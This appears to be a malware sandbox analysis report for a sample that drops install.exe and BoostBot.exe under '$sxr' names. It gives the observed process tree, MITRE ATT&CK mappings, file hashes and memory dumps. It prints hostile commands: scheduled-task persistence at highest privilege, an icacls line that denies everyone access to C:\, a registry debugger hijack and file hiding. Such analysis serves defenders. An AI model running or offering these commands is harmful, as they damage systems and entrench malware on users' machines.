"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:3056

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:840

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "$sxr-powershell" /f
6⤵
PID:4072

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:4180

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Avg54qrl4EQM.bat" "
6⤵
PID:4960

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Suspicious use of SetWindowsHookEx
PID:4620

C:\Windows\SysWOW64\chcp.com
chcp 65001
7⤵
PID:1676

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
7⤵
- Runs ping.exe
PID:4676

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:4912

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST
6⤵
- Creates scheduled task(s)
PID:2912

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:3448

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:2456

C:\Windows\system32\icacls.exe
icacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T
3⤵
- Modifies file permissions
PID:2588

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
3⤵
PID:4196

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
3⤵
- Views/modifies file attributes
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3564

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3764

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3924

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4164

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4504

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3364

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3720

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
338B

MD5
8b5939ce90f9c01c0fb7f6aa5c98903c

SHA1
0db302d0e2c482a4ee43d84d7210196907bfe059

SHA256
ace0e21d782e19c61280bd88657b910bf9c5eb99d9b5fad7d7cad769763ea079

SHA512
c8edc146c103ef94ee1e47241b0ad0a8360261bcd97422f7c94bd75562ad2d5ba4116065d7c656e82bd16be2a9bcafa2c8e96675fa841431e7e9d90bcc04e98e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E

Filesize
556B

MD5
2ced9657e754899c9c21e35e62cfd749

SHA1
28dbd30d60f4733b3eec9d19ee7d359c5d98f361

SHA256
37dcdc9e04ab5281dcbed4bbdf020b3b740f69d204185da6c5b0eaa6e168d063

SHA512
f3bc0cdd6d35906474eeb3a0611459c7b2a748c07a2637ed68c0c1358cfbac1ebb888fc83cbc8a3b16d194ceb2112ef1b11a05b66fd879b25090fbe367702e1b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
408B

MD5
5052db06a91eb8c8a739038cc002bade

SHA1
7f1dbd014d1c13635ba4e109fbc1f3bb152e0d6b

SHA256
996281dd0067c6b4ac2edf10a674b5f38be7e6bca90b3f3224c878f0d6a83e4c

SHA512
edfeff2cb63e12b1dfcbc1f0102622f37a9707e623612e1d728cd6eb042294dc22f047e737654fb0e4f019058581b1e856177f4701d5906cdb6999a31a64eac8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Avg54qrl4EQM.bat

Filesize
283B

MD5
c75400c3c7beb504e9d6b3a834458ecb

SHA1
6f59643718ba05e1e35a5d4c833e903f8b0b6dad

SHA256
44388d6dfefab755e11db96f23bdba57f28e5d54951b1996a28a901631137748

SHA512
8c564cc4c74dd5ac7b80a54c950ba565c47bbc8865036d1284673f3c2debe74322b979b9e925ef0315eb12b30335d625f77b0f611e041cb207a9113c0df2e036

Download Submit
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe

Filesize
409KB

MD5
404ab800bbe49c36bd64d0d73600b59a

SHA1
4c8dff2702fada108f7477ad357067310b584366

SHA256
5465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154

SHA512
d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ls5mhgyz.saq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$SXR-LOGS\05-12-~1

Filesize
224B

MD5
d984f95dba925797a557b7d54cd5b33e

SHA1
fd51c43e1bfad47acd849c0cbc1b3b44eb06a602

SHA256
9e7f981c7272441ea30bcb30a3f4984819a8eaa4cbe2e17df3c091b1cec37e65

SHA512
1af46a82dc0054527bb9c5c61fc0bb34760c53f04d2ae20584f04eed452b12972613bde778ff696617a715f5057e44682ef09610bdf97f3b0ec5bac5d1fb8c65

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa187cac09f051e24146ad549a0f08a6

SHA1
2ef7fae3652bb838766627fa6584a6e3b5e74ff3

SHA256
7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f

SHA512
960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
160B

MD5
7737ca556c4aa13674eb3008497d0b7c

SHA1
3bcfabc04e890f4f6a6af693855798d6f32261ff

SHA256
2cc2817893d81214c0504ec7c1ac00b9712ccf1c0bd4b3b01370ea0ab81ac561

SHA512
16b0d0bf36481a5c2a55a946c53ed260a0d5fd157389626d68f1a8d1f20b07fa6628237796eb4ad7dce21cd06ba7818219f2cb07cec55c9bf7fb9742e11d2bd2

Download Submit
memory/336-123-0x000002B1F9EE0000-0x000002B1F9F0B000-memory.dmp

Filesize
172KB

Download
memory/336-117-0x000002B1F9EE0000-0x000002B1F9F0B000-memory.dmp

Filesize
172KB

Download
memory/336-124-0x00007FFE01AB0000-0x00007FFE01AC0000-memory.dmp

Filesize
64KB

Download
memory/416-128-0x000001AF63EE0000-0x000001AF63F0B000-memory.dmp

Filesize
172KB

Download
memory/612-91-0x00007FFE01AB0000-0x00007FFE01AC0000-memory.dmp

Filesize
64KB

Download
memory/612-84-0x0000022AA8C80000-0x0000022AA8CAB000-memory.dmp

Filesize
172KB

Download
memory/612-82-0x0000022AA8C50000-0x0000022AA8C75000-memory.dmp

Filesize
148KB

Download
memory/612-83-0x0000022AA8C80000-0x0000022AA8CAB000-memory.dmp

Filesize
172KB

Download
memory/612-90-0x0000022AA8C80000-0x0000022AA8CAB000-memory.dmp

Filesize
172KB

Download
memory/672-101-0x0000019619300000-0x000001961932B000-memory.dmp

Filesize
172KB

Download
memory/672-95-0x0000019619300000-0x000001961932B000-memory.dmp

Filesize
172KB

Download
memory/672-102-0x00007FFE01AB0000-0x00007FFE01AC0000-memory.dmp

Filesize
64KB

Download
memory/952-113-0x00007FFE01AB0000-0x00007FFE01AC0000-memory.dmp

Filesize
64KB

Download
memory/952-106-0x000001B99C640000-0x000001B99C66B000-memory.dmp

Filesize
172KB

Download
memory/952-112-0x000001B99C640000-0x000001B99C66B000-memory.dmp

Filesize
172KB

Download
memory/1592-67-0x00007FFE41A30000-0x00007FFE41C25000-memory.dmp

Filesize
2.0MB

Download
memory/1592-68-0x00007FFE41240000-0x00007FFE412FE000-memory.dmp

Filesize
760KB

Download
memory/1592-66-0x0000019C33330000-0x0000019C3335A000-memory.dmp

Filesize
168KB

Download
memory/2604-32-0x0000000006180000-0x00000000061BC000-memory.dmp

Filesize
240KB

Download
memory/2604-31-0x0000000005580000-0x0000000005592000-memory.dmp

Filesize
72KB

Download
memory/2604-27-0x00000000004C0000-0x000000000052C000-memory.dmp

Filesize
432KB

Download
memory/2604-28-0x00000000055F0000-0x0000000005B94000-memory.dmp

Filesize
5.6MB

Download
memory/2604-29-0x0000000004F10000-0x0000000004FA2000-memory.dmp

Filesize
584KB

Download
memory/2604-30-0x0000000004FB0000-0x0000000005016000-memory.dmp

Filesize
408KB

Download
memory/3368-70-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-77-0x00007FFE41240000-0x00007FFE412FE000-memory.dmp

Filesize
760KB

Download
memory/3368-69-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-72-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-71-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-79-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-75-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3368-76-0x00007FFE41A30000-0x00007FFE41C25000-memory.dmp

Filesize
2.0MB

Download
memory/4568-56-0x0000000006570000-0x000000000657A000-memory.dmp

Filesize
40KB

Download
memory/4956-9-0x00007FFE23A13000-0x00007FFE23A15000-memory.dmp

Filesize
8KB

Download
memory/4956-26-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-21-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-20-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-15-0x000001F6ADFB0000-0x000001F6ADFD2000-memory.dmp

Filesize
136KB

Download